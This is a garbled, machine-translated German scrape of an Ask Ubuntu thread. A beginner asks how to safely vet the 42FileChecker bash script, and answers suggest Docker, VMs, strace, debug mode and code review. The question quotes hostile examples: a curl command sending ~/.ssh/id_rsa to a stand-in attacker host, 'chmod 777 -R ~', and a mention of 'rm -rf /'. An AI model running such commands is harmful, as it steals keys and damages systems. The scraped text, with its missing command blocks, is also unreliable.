Ich möchte ein bestimmtes Bash-Skript namens 42FileChecker mit den folgenden Befehlen installieren:
git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
cd ~/42FileChecker &&
bash ./42FileChecker.sh
Aber ich weiß nicht, ob 42FileChecker.sh irgendwelche seltsamen Dinge auf meinem PC macht, weil ich Anfänger bin und nicht weiß, was in diesem Skript passiert. Gibt es eine Möglichkeit, es in einem Dummy-Terminal oder einem Dummy-Stammordner oder ähnlichem auszuführen, um zu sehen, was passiert, damit ich etwas Verrücktes wie das Formatieren meiner Laufwerke vermeide. Ich würde gerne wissen, wie ich Shells auch für zukünftige Shellskripte testen kann, selbst wenn 42FileChecker.sh sicher ist.
man
Seiten der darin enthaltenen Befehle lesen .chmod 777 -R ~
odercurl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsa
oder ähnliches.Antworten:
Ich bin kein Experte in diesem Bereich, aber ich würde empfehlen,
strace
und zu verwendendocker
.Erstellen Sie also zuerst einen Docker-Container, wie in dieser Antwort beschrieben . Aber der Zusatz, der ist, dass strace Ihnen sagt, welche Systemaufrufe gemacht werden. Oder um zu zitieren:
Sie können diese Befehle zu kombinieren
quelle
Wenn Sie nicht sicher sind, was ein Skript bewirkt, sollten Sie es besser erst ausführen, wenn Sie sicher sind, was es bewirkt. Um den Schadensradius eines fehlerhaften Skripts zu verringern, können Sie es unter Verwendung eines neuen Benutzers, in einem Container oder in einer virtuellen Maschine ausführen. Die erste Aussage lautet jedoch immer noch: Wenn Sie sich nicht sicher sind, was etwas bewirkt, sollten Sie sie erst ausführen, wenn Sie dies tun.
quelle
Wie @ctt sagte, ist es wahrscheinlich eine gute Idee, es zuerst in einer Sandbox auszuführen. Die Verwendung einer VM ist wahrscheinlich die einfachste Lösung. Multipass ist ziemlich einfach.
Installieren Sie multipass (sofern Sie dies noch nicht getan haben):
Starten Sie eine neue VM:
Melden Sie sich bei Ihrer neuen VM an:
Führen Sie dann Ihr Skript (in Ihrem VM) aus:
quelle
Da die Schule, die Sie besuchen, die Skripte veröffentlicht hat, können Sie Ihre Bedenken am besten bei Ihren Lehrern äußern.
Wir können Ihnen jedoch helfen, den Code zeilenweise zu entschlüsseln. Es ist wahrscheinlich für jeden hier unpraktisch, den gesamten Code zu analysieren .
Sie haben tatsächlich 40 Bash-Skripte mit insgesamt 5.360 Zeilen. Ich habe sie kombiniert und nach Bash / Shell-Befehlen gesucht, die missbraucht werden könnten. Sie scheinen alle normal verwendet zu werden :
rm -rf /
Befehl zum Löschen der gesamten Festplattenpartition.sudo
Zum Ausführen des Skripts ist keine Verwendung erforderlich .C
Funktionen in den überprüften Dateien verwendet werden.github
Seite.42FileChecker
scheint es sicher zu sein.Es sind keine von Menschen lesbaren Bash-Skripte, über die Sie sich so viele Gedanken machen müssen. Es sind kompilierte, nicht lesbare Binärobjekte, die Anlass zur Sorge geben. Zum Beispiel könnte ein Programm namens "shiny-bouncy-sphere" so etwas auf Ihren Bildschirm malen, aber im Hintergrund könnten alle Ihre Dateien gelöscht werden.
Ursprüngliche Antwort
Fragen Sie am besten den Autor des Skripts, was es tut. In der Tat können Sie Ihre Frage fast wörtlich posten, wie es oben erscheint.
Fragen Sie auch den Autor:
Und alle anderen guten Fragen, die Sie sich vorstellen können.
Bearbeiten 1 - Sorgen um einen böswilligen Autor.
Sie sollten nur Software mit vielen guten Bewertungen verwenden. Andere Autoren, denen Sie hier in Ask Ubuntu vertrauen, wie Serge, Jacob, Colin King usw. Andere angesehene Websites wie Ask Ubuntu und ihre angesehenen Mitglieder sollten ebenfalls als "nicht böswillig" eingestuft werden.
Der Vorteil von "respektierten Autoren" hier in Ask Ubuntu ist, dass sie ihren Selbstwert auf "Reputationspunkte" legen. Wenn sie absichtlich Code schreiben, der Daten "stiehlt" oder "beschädigt", verlieren sie schnell ihren Ruf. Tatsächlich könnten Autoren den "Zorn der Mods" erleiden und suspendiert und / oder 10.000 Reputationspunkte weggenommen werden.
Bearbeiten 2 - Befolgen Sie nicht alle Anweisungen
Ich habe mir Ihre Bash-Skript-Anweisungen genauer angesehen:
Die "sichere" Methode besteht darin, nur die erste Zeile auszuführen:
Dadurch werden die Skripte heruntergeladen, aber nicht ausgeführt. Verwenden Sie anschließend
nautilus
(Dateimanager), um die installierten Verzeichnisse und Dateien zu überprüfen. Sehr schnell stellt man fest, dass es eine Sammlung von Bash-Skripten gibt, die von einer Gruppe von Studenten in Frankreich geschrieben wurden.Der Zweck der Skripte besteht darin, C-Programme auf fehlerhafte Funktionen und Speicherlecks zu kompilieren und zu testen.
quelle
~/42FileChecker/includes/display/display_credits.sh
Staaten norminette Arbeit ist ein dependancy:norminette (42 born2code) http://www.42.fr
. Ich habe das letzte Nacht gelesen und deswegen habe ich geschrieben, dass es eine Schule in Frankreich ist, die 42FileChecker veröffentlicht hat . Nach dem, was ich bisher über den Code gelesen habe, würde ich mir keine Sorgen machen, ihn auszuführen. Außerdem wurden nur sehr wenige Syntaxfehler gemeldet,shellcheck
was für ein Bash-Skript mit 5.360 Zeilen überraschend ist. Viele professionell veröffentlichte Bash-Skripte weisen viele Syntaxfehler auf.Sie können Docker verwenden. Docker-Container sind vom Host-Betriebssystem isoliert, sodass alle böswilligen Aktivitäten in einem Container verbleiben, sofern Sie sie nicht durch Weiterleiten von Ports oder Mounten von Dateisystemen explizit freigeben.
So installieren Sie Docker:
So laden Sie einen neuen Ubuntu Bionic-Container herunter:
Danach loggen Sie sich in den Container ein
und führe die zweifelhafte Operation darin aus:
quelle
docker diff
anzeigen können, welche Änderungen seit dem Start des Containers am Dateisystem vorgenommen wurden. Der Nachteil der Verwendung von Docker ist, dass der Container keine vollständige Kopie des Hostsystems ist. Das hier erwähnte Ubuntu-Image enthält nur eine minimale Ubuntu-Installation.docker run ubuntu
Sie ausführen sollten, gibtdocker run -it ubuntu:bionic
The-it
Ihnen ein interaktives Terminal im Container und das führtbionic
tatsächlich die gewünschte Version anstelle der Standardversion auslatest
.--memory
,--network
und vielleicht andere , um wirklich das Skript zu sperren.Verwenden Sie den Debugging-Modus, indem Sie das Skript wie folgt ausführen:
Weitere nützliche Bash- Informationen
Der Debugging-Modus hindert das Skript nicht daran, etwas Schlechtes zu tun, sondern lässt Sie das Skript Zeile für Zeile durchgehen und die Auswirkungen untersuchen. Sie können das Skript auch auf einige häufig auftretende potenzielle Fehler und / oder Exploits überprüfen, z
rm
. Viele dieser Tools etwas Hilfe haben für den Versuch , sie aus eingebaut, zB rm wird kein Verzeichnis standardmäßig zu löschen, braucht es die-r
,-R
oder--recursive
Option , dies zu tun.Möglicherweise gibt es sogar einige Antivirus-ähnliche Tools, die ein Bash-Skript nach diesen Mustern durchsuchen, mir sind jedoch keine mit Namen bekannt. Ihre Beispielskripte sind insofern besonders fragwürdig, als sie andere Tools herunterladen. Daher sollte auch jedes dieser Tools untersucht werden. Es kann sich auch lohnen zu überprüfen, mit welchen Servern sie Kontakt aufnehmen.
quelle
Die relevanten Informationen für eine Antwort sind leider nur in einem Ihrer Kommentare enthalten:
So ist die Situation , dass in der Praxis Sie haben die Möglichkeit , den Kurs gehen, oder Sie können das Skript ausführen , um normative Kontrollen auf Ihren Quellen auszuführen. Ein Gespräch mit Ihrem Lehrer ist aufgrund des Mangels an ersteren kaum eine Option (ansonsten wäre es sowieso keine Option, da keine Schule ihr Verfahren ändern wird, da ein Schüler damit nicht zufrieden ist).
Die Frage, was zu tun ist, um einen möglichen Schaden durch dieses Skript zu begrenzen, stellt sich daher nicht einmal. Es ist kein zufälliges Drehbuch, das ein geiles Mädchen mit großen Brüsten dir per E-Mail geschickt hat und das du laufen musst, um ihr Bild zu sehen .
Du machst einen Programmierkurs. DiesHier kam dieses Skript ins Spiel. Die Frage ist, ob Sie die Rahmenbedingungen für den erfolgreichen Abschluss des Kurses einhalten möchten oder nicht.
Wenn Sie sich jedoch ernsthaft Sorgen machen, besteht immer noch die Möglichkeit, das Skript in einem Container oder einer virtuellen Maschine auszuführen und Ihre Quellen in einem freigegebenen Ordner oder auf einer Netzwerkfreigabe abzulegen, die von dem Container / der virtuellen Maschine bereitgestellt wird. Das ist so ziemlich der ganze Paranoia-Pfad, aber Virtualisierung ist heutzutage nicht wirklich kompliziert und kostet auch nicht viel.
Abgesehen von der unwahrscheinlichen Möglichkeit einer wirklich harten Exploits, die in diesem Skript enthalten ist , in wie jeder Nicht-Root - Benutzer anmelden (die man kaum eine andere Wahl haben , sonst tun auf Ubuntu) und die Vermeidung zu geben
sudo
ohne ersichtlichen Grund ziemlich verhindert 99% alles schlechte Dinge, die sowieso möglicherweise passieren könnten. Zum Beispiel das Formatieren der Festplatte, um die Sie sich Sorgen machen. Ein normaler Benutzer kann das einfach nicht. Das Schlimmste ist, dass das Skript das Home-Verzeichnis des Benutzers löscht. Also was, eigentlich kein Problem.quelle
sudo
das Ausführen des Skripts erforderlich ist. +1sudo
schränkt nur den Umfang des versehentlichen Löschens / Formatierens aufgrund von Fehlern ein. Wenn das Skript böswillig oder ausnutzbar war, spielt die Ausführungsudo
auf einem einzelnen Benutzersystem keine wesentliche Rolle.42FileChecker
daher kann ich nicht wirklich sagen, ob siesudo
benötigt werden oder nicht. Das Bash-Skript sucht nicht nach sudo und fordert Sie auf, es zu verwenden. Es scheint dann, dasssudo
das nicht erforderlich ist. Wieder einmal denke ich, dass es die beste Strategie ist, Ihren Lehrer zu fragen. Ich habe meine Antwort vor einer Stunde mit einer kleinen Analyse des Skripts aktualisiert. Beachten Sie, dass der Name "mynorminette
" erneut im Code erscheint.42FileChecker
. Ich glaube, das Gespräch mit den Ausbildern wird Sie beruhigen. Nach ein paar Stunden Nachforschungen habe ich Vertrauen in die Programmierer und ihre Kreationen. Jean-Michel Gigault hat sogar sein Bild auf Github. Ziemlich viel Vertrauen in ein Land, in dem die Samen von Yellow Vest wachsen. Viva La France! (et Ecole 42 :)) Tu uns einen Gefallen und komm vorbei, um den Fortschritt zu aktualisieren.